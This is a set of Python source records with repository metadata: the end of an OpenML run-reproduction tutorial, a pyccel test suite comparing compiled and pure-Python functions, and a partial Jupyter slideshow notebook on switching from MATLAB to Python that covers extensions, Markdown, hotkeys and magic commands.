same task again.\n###############################################################################\n\n# obtain setup id (note that the setup id is assigned by the OpenML server -\n# therefore it was not yet available in our local copy of the run)\nrun_downloaded = openml.runs.get_run(run_original.run_id)\nsetup_id = run_downloaded.setup_id\n\n# after this, we can easily reinstantiate the model\nmodel_duplicate = openml.setups.initialize_model(setup_id)\n# it will automatically have all the hyperparameters set\n\n# and run the task again\nrun_duplicate = openml.runs.run_model_on_task(\n    model_duplicate, task, avoid_duplicate_runs=False)\n\n\n###############################################################################\n# 3) We will verify that the obtained results are exactly the same.\n###############################################################################\n\n# the run has stored all predictions in the field data content\nnp.testing.assert_array_equal(run_original.data_content,\n                              run_duplicate.data_content)\n\n###############################################################################\n\nopenml.config.stop_using_configuration_for_example()\n", "meta": {"hexsha": "071cc51b1260109bba71d0229cb3edd411e3e51b", "size": 4382, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/30_extended/run_setup_tutorial.py", "max_stars_repo_name": "Rong-Inspur/openml-python", "max_stars_repo_head_hexsha": "07d429c843cf589d8096db76d520317acf7a99ab", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/30_extended/run_setup_tutorial.py", "max_issues_repo_name": "Rong-Inspur/openml-python", "max_issues_repo_head_hexsha": "07d429c843cf589d8096db76d520317acf7a99ab", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/30_extended/run_setup_tutorial.py", "max_forks_repo_name": "Rong-Inspur/openml-python", "max_forks_repo_head_hexsha": "07d429c843cf589d8096db76d520317acf7a99ab", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.4774774775, "max_line_length": 79, "alphanum_fraction": 0.6777727065, "include": true, "reason": "import numpy", "num_tokens": 855, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.11757213818344736, "lm_q1q2_score": 0.055574407030249844}}
{"text": "# pylint: disable=missing-function-docstring, missing-module-docstring/\n# coding: utf-8\n\nimport pytest\nimport numpy as np\n\nfrom pyccel.epyccel import epyccel\nfrom pyccel.decorators import types\nfrom pyccel.errors.errors import PyccelError\n\ndef test_func_no_args_1(language):\n    '''test function with return value but no args'''\n    def free_gift():\n        gift = 10\n        return gift\n\n    c_gift = epyccel(free_gift, language=language)\n    assert c_gift() == free_gift()\n    assert isinstance(c_gift(), type(free_gift()))\n    unexpected_arg = 0\n    with pytest.raises(TypeError):\n        c_gift(unexpected_arg)\n\ndef test_func_no_args_2(language):\n    '''test function with negative return value but no args'''\n    def p_lose():\n        lose = -10\n        return lose\n\n    c_lose = epyccel(p_lose, language=language)\n    assert c_lose() == p_lose()\n    assert isinstance(c_lose(), type(p_lose()))\n    unexpected_arg = 0\n    with pytest.raises(TypeError):\n        c_lose(unexpected_arg)\n\n@pytest.mark.parametrize( 'language', [\n        pytest.param(\"fortran\", marks = pytest.mark.fortran),\n        pytest.param(\"c\", marks = pytest.mark.c),\n        pytest.param(\"python\", marks = pytest.mark.python),\n    ]\n)\ndef test_func_no_return_1(language):\n    '''Test function with args and no return '''\n    @types(int)\n    def p_func(x):\n        x *= 2\n\n    c_func = epyccel(p_func, language=language)\n    x = np.random.randint(100)\n    assert c_func(x) == p_func(x)\n    # Test type return sould be NoneType\n    x = np.random.randint(100)\n    assert isinstance(c_func(x), type(p_func(x)))\n\ndef test_func_no_return_2(language):\n    '''Test function with no args and no return '''\n    def p_func():\n        x = 2\n        x *= 2\n\n    c_func = epyccel(p_func, language=language)\n    assert c_func() == p_func()\n    assert isinstance(c_func(), type(p_func()))\n    unexpected_arg = 0\n    with pytest.raises(TypeError):\n        c_func(unexpected_arg)\n\ndef test_func_no_args_f1():\n    def f1():\n        from numpy import pi\n        value = (2*pi)**(3/2)\n        return value\n\n    f = epyccel(f1)\n    assert abs(f()-f1()) < 1e-13\n#------------------------------------------------------------------------------\ndef test_decorator_f1(language):\n    @types('int')\n    def f1(x):\n        y = x - 1\n        return y\n\n    f = epyccel(f1, language=language)\n\n    # ...\n    assert f(3) == f1(3)\n    # ...\n\n#------------------------------------------------------------------------------\ndef test_decorator_f2(language):\n    @types('int [:]')\n    def f2(x):\n        y = x[0] - 1\n        return y\n\n    f = epyccel(f2, language=language)\n\n    # ...\n    x = np.array([3, 4, 5, 6], dtype=int)\n    assert f(x) == f2(x)\n    # ...\n\n    # ...\n    x = np.array([3, 4, 5, 6], dtype=int)\n    assert f(x) == f2(x)\n    # ...\n\n#------------------------------------------------------------------------------\n# Semantic error doesn't need testing in multiple languages\ndef test_decorator_f3():\n    @types('int [:]')\n    def f3(x):\n        from numpy import empty_like\n        y = empty_like(x)\n        y[:] = x - 1\n        return y\n\n    with pytest.raises(PyccelError):\n        epyccel(f3)\n\n#------------------------------------------------------------------------------\n# Semantic error doesn't need testing in multiple languages\ndef test_decorator_f4():\n    @types('real [:,:]')\n    def f4(x):\n        from numpy import empty_like\n        y = empty_like(x)\n        y[:] = x - 1.0\n        return y\n\n    with pytest.raises(PyccelError):\n        epyccel(f4)\n\n#------------------------------------------------------------------------------\ndef test_decorator_f5(language):\n    @types('int', 'real [:]')\n    def f5(m1, x):\n        x[:] = 0.\n        for i in range(0, m1):\n            x[i] = i * 1.\n\n    f = epyccel(f5, language=language)\n\n    # ...\n    m1 = 3\n\n    x = np.zeros(m1)\n    f(m1, x)\n\n    x_expected = np.zeros(m1)\n    f5(m1, x_expected)\n\n    assert np.allclose( x, x_expected, rtol=1e-15, atol=1e-15 )\n    # ...\n\n#------------------------------------------------------------------------------\ndef test_decorator_f6(language):\n    @types('int', 'int', 'real [:,:]')\n    def f6_1(m1, m2, x):\n        x[:,:] = 0.\n        for i in range(0, m1):\n            for j in range(0, m2):\n                x[i,j] = (2*i+j) * 1.\n\n    f = epyccel(f6_1, language=language)\n\n    # ...\n    m1 = 2 ; m2 = 3\n\n    x = np.zeros((m1,m2))\n    f(m1, m2, x)\n\n    x_expected = np.zeros((m1,m2))\n    f6_1(m1, m2, x_expected)\n\n    assert np.allclose( x, x_expected, rtol=1e-15, atol=1e-15 )\n    # ...\n\n#------------------------------------------------------------------------------\n# in order to call the pyccelized function here, we have to create x with\n# Fortran ordering\ndef test_decorator_f7(language):\n\n    @types('int', 'int', 'real [:,:](order=F)')\n    def f7(m1, m2, x):\n        x[:,:] = 0.\n        for i in range(0, m1):\n            for j in range(0, m2):\n                x[i,j] = (2*i+j) * 1.\n\n    f = epyccel(f7, language=language)\n\n    # ...\n    m1 = 2 ; m2 = 3\n    x_expected = np.zeros((m1,m2))\n    f7(m1, m2, x_expected)\n\n    x = np.zeros((m1,m2), order='F')\n    f(m1, m2, x)\n\n    assert np.allclose( x, x_expected, rtol=1e-15, atol=1e-15 )\n    # ...\n\n#------------------------------------------------------------------------------\ndef test_decorator_f8(language):\n    @types('int','bool')\n    def f8(x,b):\n        a = x if b else 2\n        return a\n\n    f = epyccel(f8, language=language)\n\n    # ...\n    assert f(3,True)  == f8(3,True)\n    assert f(3,False) == f8(3,False)\n    # ...\n\n\n@pytest.mark.parametrize( 'language', [\n        pytest.param(\"fortran\", marks = pytest.mark.fortran),\n        pytest.param(\"c\", marks = pytest.mark.c),\n        pytest.param(\"python\", marks = pytest.mark.python),\n    ]\n)\ndef test_arguments_f9(language):\n    @types('int64[:]')\n    def f9(x):\n        x += 1\n\n    f = epyccel(f9, language = language)\n\n    x = np.zeros(10, dtype='int64')\n    x_expected = x.copy()\n\n    f9(x)\n    f(x_expected)\n    assert np.array_equal(x, x_expected)\n\n@pytest.mark.parametrize( 'language', [\n        pytest.param(\"fortran\", marks = pytest.mark.fortran),\n        pytest.param(\"c\", marks = pytest.mark.c),\n        pytest.param(\"python\", marks = pytest.mark.python),\n    ]\n)\ndef test_arguments_f10(language):\n    @types('int64[:]')\n    def f10(x):\n        x[:] += 1\n\n    f = epyccel(f10, language = language)\n\n    x = np.zeros(10, dtype='int64')\n    x_expected = x.copy()\n\n    f10(x)\n    f(x_expected)\n    assert np.array_equal(x, x_expected)\n\ndef test_multiple_returns_f11(language):\n    @types('int', 'int', results='int')\n    def ackermann(m, n):\n        if m == 0:\n            return n + 1\n        elif n == 0:\n            return ackermann(m - 1, 1)\n        else:\n            return ackermann(m - 1, ackermann(m, n - 1))\n\n    f = epyccel(ackermann, language=language)\n    assert f(2,3) == ackermann(2,3)\n\ndef test_multiple_returns_f12(language):\n    @types('int')\n    def non_negative(i):\n        if i < 0:\n            return False\n        else:\n            return True\n\n    f = epyccel(non_negative, language=language)\n    assert f(2) == non_negative(2)\n    assert f(-1) == non_negative(-1)\n\ndef test_multiple_returns_f13(language):\n    @types('int', 'int')\n    def get_min(a, b):\n        if a<b:\n            return a\n        else:\n            return b\n\n    f = epyccel(get_min, language=language)\n    assert f(2,3) == get_min(2,3)\n\ndef test_multiple_returns_f14(language):\n    @types('int', 'int')\n    def g(x, y):\n        return x,y,y,y,x\n\n    f = epyccel(g, language=language)\n    assert f(2,1) == g(2,1)\n\n\ndef test_decorator_f15(language):\n    @types('bool', 'int8', 'int16', 'int32', 'int64')\n    def f15(a,b,c,d,e):\n        if a:\n            return b + c\n        else:\n            return d + e\n\n    f = epyccel(f15, language=language)\n    assert f(True, np.int8(1), np.int16(2), np.int32(3), np.int64(4)) == \\\n           f15(True, np.int8(1), np.int16(2), np.int32(3), np.int64(4))\n    assert f(False, np.int8(1), np.int16(2), np.int32(3), np.int64(4)) == \\\n           f15(False, np.int8(1), np.int16(2), np.int32(3), np.int64(4))\n\n\ndef test_decorator_f16(language):\n    @types('int16')\n    def f16(a):\n        b = a\n        return b\n    f = epyccel(f16, language=language)\n    assert f(np.int16(17)) == f16(np.int16(17))\n\ndef test_decorator_f17(language):\n    @types('int8')\n    def f17(a):\n        b = a\n        return b\n    f = epyccel(f17, language=language)\n    assert f(np.int8(2)) == f17(np.int8(2))\n\ndef test_decorator_f18(language):\n    @types('int32')\n    def f18(a):\n        b = a\n        return b\n    f = epyccel(f18, language=language)\n    assert f(np.int32(5)) == f18(np.int32(5))\n\ndef test_decorator_f19(language):\n    @types('int64')\n    def f19(a):\n        b = a\n        return b\n    f = epyccel(f19, language=language)\n    assert f(np.int64(1)) == f19(np.int64(1))\n\ndef test_decorator_f20(language):\n    @types('complex')\n    def f20(a):\n        b = a\n        return b\n    f = epyccel(f20, language=language)\n    assert f(complex(1, 2.2)) == f20(complex(1, 2.2))\n\ndef test_decorator_f21(language):\n    @types('complex64')\n    def f21(a):\n        b = a\n        return b\n    f = epyccel(f21, language=language)\n    assert f(np.complex64(1+ 2.2j)) == f21(np.complex64(1+ 2.2j))\n\ndef test_decorator_f22(language):\n    @types('complex128')\n    def f22(a):\n        b = a\n        return b\n    f = epyccel(f22, language=language)\n    assert f(complex(1, 2.2)) == f22(complex(1, 2.2))\n\n##==============================================================================\n## CLEAN UP GENERATED FILES AFTER RUNNING TESTS\n##==============================================================================\n#\n#def teardown_module():\n#    clean_test()\n", "meta": {"hexsha": "c455b6fbfcfb1c76a2d9a31fbcf6f923195b9302", "size": 9726, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/epyccel/test_epyccel_functions.py", "max_stars_repo_name": "jalalium/pyccel", "max_stars_repo_head_hexsha": "4f3d9a359e42c16440e9c841059257d292a8361b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/epyccel/test_epyccel_functions.py", "max_issues_repo_name": "jalalium/pyccel", "max_issues_repo_head_hexsha": "4f3d9a359e42c16440e9c841059257d292a8361b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/epyccel/test_epyccel_functions.py", "max_forks_repo_name": "jalalium/pyccel", "max_forks_repo_head_hexsha": "4f3d9a359e42c16440e9c841059257d292a8361b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.4607329843, "max_line_length": 80, "alphanum_fraction": 0.5232366852, "include": true, "reason": "import numpy,from numpy", "num_tokens": 2795, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.11757213509148833, "lm_q1q2_score": 0.055574405568731895}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py:light\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.4'\n#       jupytext_version: 1.2.4\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# # Using Python for Algorithm Development (Presentation mode: press spacebar to advance)\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Author: Andrew Holmgren<br>\n# Contact: <email>adholmgren@gmail.com<email>  \n# [github link](https://github.com/adholmgren/python_algdev)\n# -\n\n# If you have a Google account you can open the code in Google colab. Colab is an environment that will give free resources (you can get a GPU or a TPU for up to 12hrs). \n#\n# [![Open In Colab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/github/adholmgren/python_algdev/blob/master/SWTP-PythonAlgDev.ipynb)\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Meant as a guide for those who want to transition out of MATLAB, or just generally explore Python for scientific computing. Broken up as, firstly:\n# 1. General Python use\n#  * Jupyter(lab)\n#     * Suggested extensions\n#     * Markdown\n#  * Python vs MATLAB\n#  * Example libraries and capabilities\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Secondly:  \n# 2. Speed up code and reduce computational bottlenecks\n#   * Python-like code with outsourced optimization\n#     * Python numpy\n#     * Numba\n#     * Cython\n#   * How to integrate statically typed languages\n#     * Fortran (f2py and fortran magic)\n#     * C/C++ (CPython)\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# * What I won't cover\n#  * Python classes (dunder, instance method, class method, static method)\n#  * Itertools (really cool)\n#  * Imports (absolute, relative, practices)\n#  * PEP8 (Python is white-space)\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"toc-hr-collapsed\": false, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ## From MATLAB to Python\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# This sections covers\n#   1. Jupyter as editor\n#   2. MATLAB to Python\n#   3. Python capabilities (no toolboxes!)\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"toc-hr-collapsed\": false, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ### General Python/Jupyter use\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# This subsection covers general comments on using Python and Jupyter as an effective development environment.\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"toc-hr-collapsed\": true, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# #### Jupyter(lab) how-to and favorite extensions\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"toc-hr-collapsed\": false, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# **Jupyter** <br>\n# \"Project Jupyter exists to develop open-source software, open-standards, and services for interactive computing across dozens of programming languages.\"<br>\n# Original language kernels: <br>\n# * Ju(lia)\n# * Pyt(hon)\n# * [e]R\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"toc-hr-collapsed\": false, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Kernels for many languages now: <br>\n# * Ruby\n# * C++\n# * Fortran\n# * Haskell\n# * Rust\n# * MATLAB\n# * Brainf*&# (++++++++[>++++[>++>+++>+++>+<<<<-]>+>+>->>+[<]<-]>>.>---.+++++++..+++.>>.<-.<.+++.------.--------.>>+.>++.)\n# * and many more...\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ##### Jupyter Extensions to try\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Jupyter extensions give more functionality to a notebook, they can easily be installed with conda.<br>\n# ```conda install -c conda-forge jupyter_contrib_nbextensions``` <br>\n# once installed the easiest way to enable extensions is with the [configurator](https://github.com/Jupyter-contrib/jupyter_nbextensions_configurator) <br>\n# ```conda install -c conda-forge jupyter_nbextensions_configurator``` <br>\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Some personal favorites for jupyter notebook are:\n# * Table of Contents (highly suggested for navigating this document)\n# * Collaspable Headings\n# * Codefolding\n# * Execute Time (how long it takes a cell to execute)\n# * Notify (sends a message to browser when cell done evaluating cell, really nice for neural networks)\n# * Scratchpad (can try input without adding cells and messing up notebook organization)\n# * Variable inspector (personally don't like this, but others do)\n# * RISE (presentation/slideshow of notebook)\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"toc-hr-collapsed\": true, \"hideCode\": false, \"hidePrompt\": false, \"heading_collapsed\": true, \"cell_type\": \"markdown\"}\n# ##### Markdown\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n# Markdown is, arguably, an inconsequential part of the notebook if all you're looking for is to rapidly prototype and test some code. However, if you want to make comments, tell a story, embed formatted LaTeX equations, and other things to actually motivate your work so that someone other than you knows what's going on then it's a great tool that's easy to start using. Many of you may have already been exposed to markdown if you've been reading (or making) github pages, or maybe you're a fanatic redditor and already know all the tricks of the trade. \n#\n# **tldr:** markdown is any easy way to do html and is easily supported by jupyter to make good looking documentation \n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n# ###### Markdown reference and tips\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n# This [github page](https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet) and this [site from the Markdown author](https://daringfireball.net/projects/markdown/basics) have good descriptions of how to use Markdown. The most common uses are listed below\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n# ###### **Headers**\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n# Headers are made with \n#     # Header 1\n#     ## Header 2\n#     ...\n#     Heading 1\n#     =========\n#     Heading 2\n#     ---------\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n# ###### **Lists**\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n# (dots \u22c5\u22c5 indicate whitespace)\n#     1. First ordered list item\n#     2. Another item\n#     \u22c5\u22c5* Unordered sub-list. \n#     1. Actual numbers don't matter, just that it's a number\n#     \u22c5\u22c51. Ordered sub-list\n#     4. And another item.\n#\n#     \u22c5\u22c5\u22c5You can have properly indented paragraphs within list items. Notice the blank line above, and the leading spaces (at least one, but we'll use three here to also align the raw Markdown).\n#\n#     \u22c5\u22c5\u22c5To have a line break without a paragraph, you will need to use two trailing spaces.\u22c5\u22c5\n#     \u22c5\u22c5\u22c5Note that this line is separate, but within the same paragraph.\u22c5\u22c5\n#     \u22c5\u22c5\u22c5(This is contrary to the typical GFM line break behaviour, where trailing spaces are not required.)\n#\n#     * Unordered list can use asterisks\n#     - Or minuses\n#     + Or pluses\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n# 1. First ordered list item\n# 2. Another item\n#   * Unordered sub-list.  \n#\n#\n# 1. Actual numbers don't matter, just that it's a number  \n#     1. Ordered sub-list  \n# 4. And another item.\n#\n#     You can have properly indented paragraphs within list items. \n#    \n#     Notice the blank line above, and the leading spaces (at least one, but we'll use three here to also align the raw Markdown).\n#\n#     To have a line break without a paragraph, you will need to use two trailing spaces (can use `<br>` of course).  \n#     Note that this line is separate, but within the same paragraph.  \n#     (This is contrary to the typical GFM (Git Flavored Markdown) line break behaviour, where trailing spaces are not required.)\n#\n#\n#   * Unordered list can use asterisks\n#   - Or minuses\n#   + Or pluses\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n# ###### **Code Highlighting**\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n#     Inline `code` has `back-ticks around` it.\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n# Inline `code` has `back-ticks around` it.\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n# Blocks of code are either fenced by lines with three back-ticks \\`\\`\\`, or are indented with four spaces. I recommend only using the fenced code blocks -- they're easier and only they support syntax highlighting.\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n#     ```javascript\n#     var s = \"JavaScript syntax highlighting\";\n#     alert(s);\n#     ```\n#\n#     ```python\n#     s = \"Python syntax highlighting\"\n#     print s\n#     ```\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n# ```javascript\n# var s = \"JavaScript syntax highlighting\";\n# alert(s);\n# ```\n#  \n# ```python\n# s = \"Python syntax highlighting\"\n# print s\n# ```\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n# ###### **Emphasis**\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n#     Emphasis, aka italics, with *asterisks* or _underscores_.\n#\n#     Strong emphasis, aka bold, with **asterisks** or __underscores__.\n#\n#     Combined emphasis with **asterisks and _underscores_**.\n#\n#     Strikethrough uses two tildes. ~~Scratch this.~~\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n# Emphasis, aka italics, with *asterisks* or _underscores_.\n#\n# Strong emphasis, aka bold, with double **asterisks** or __underscores__.\n#\n# Combined emphasis with **asterisks and _underscores_**.\n#\n# Strikethrough uses two tildes. ~~Scratch this.~~\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n# ###### **Latex**\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n#     Inline latex is done with $e^{i\\pi} + 1 = 0$\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n# Inline latex is done with $e^{i\\pi} + 1 = 0$\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n#     Expressions on their own line are surrounded by $$:\n#     $$e^x=\\sum_{i=0}^\\infty \\frac{1}{i!}x^i$$\n#\n\n# + {\"slideshow\": {\"slide_type\": \"skip\"}, \"hideCode\": false, \"hidePrompt\": false, \"hidden\": true, \"cell_type\": \"markdown\"}\n# Expressions on their own line are surrounded by \\$\\$:\n# $$e^x=\\sum_{i=0}^\\infty \\frac{1}{i!}x^i$$\n#\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ##### Basic Jupyter hot keys\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# When editing a cell, press `esc` to leave and `return` to enter cell\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# `shift+return` evaluates cell and moves to next cell `ctrl+return` evaluates cell and stays at cell\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# `b` makes cell below `a` makes cell above `dd` deletes cell\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# When in command mode, i.e. not editing the cell, use `m` to toggle cell to markdown, `y` to toggle cell to code (associated with kernel), and `r` to make it raw code\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# **Ultra tip**: When in a function, use shift+Tab to show the docstring for the function (i.e. the help and info for the function).\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\nnp.reshape()\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ##### Other helpful Jupyter tools\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ###### magic commands\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Jupyter has \"[magic commands](https://ipython.readthedocs.io/en/stable/interactive/magics.html)\" that perform a task at the cell level `%%` or at the line level `%`\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Timing, use `time` (does one-time timing) or `timeit` (statistics from many timings)\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %%time\nfoo = [i*10+j+1 for i in range(10) for j in range(10)]  # \"tally-count\" to 100 in base-10\nfoo.append(3.141592)\nprint(foo)\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %timeit small_list = [i for i in range(100)]\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %time large_list = [j for j in range(10000)]\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# Quick profile, use `prun`\n\n# + {\"slideshow\": {\"slide_type\": \"fragment\"}, \"hideCode\": false, \"hidePrompt\": false}\n# %%prun\ntotal = 0\nN = 100000\nfor i in range(5):\n    L = [j ^ (j >> i) for j in range(N)]\n    total += sum(L)\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# `%matplotlib notebook` will set all executions of matplotlib to have 'interactive' plots with the nbagg backend\n#\n# `%matplotlib inline` With this backend, the output of plotting commands is displayed inline within frontends like the Jupyter notebook, directly below the code cell that produced it. The resulting plots will then also be stored in the notebook document.\n\n# + {\"slideshow\": {\"slide_type\": \"slide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# ###### debugging\n\n# + {\"slideshow\": {\"slide_type\": \"subslide\"}, \"hideCode\": false, \"hidePrompt\": false, \"cell_type\": \"markdown\"}\n# If you're used to using a graphical debugger, such as MATLAB's editor or other IDE, then using pdb may be a big step in unfamiliarity. (If you're used to gdb then pdb is extremely similar and you'll be fine.) IBM has developed a graphical debugger called [pixiedust](https://medium.com/ibm-watson-data-lab/the-visual-python-debugger-for-jupyter-notebooks-youve-always-wanted-761713babc62) that you can use (note: currently only works for jupyter notebooks). You should be able to just use pip to install and then you just need to import as such\n# 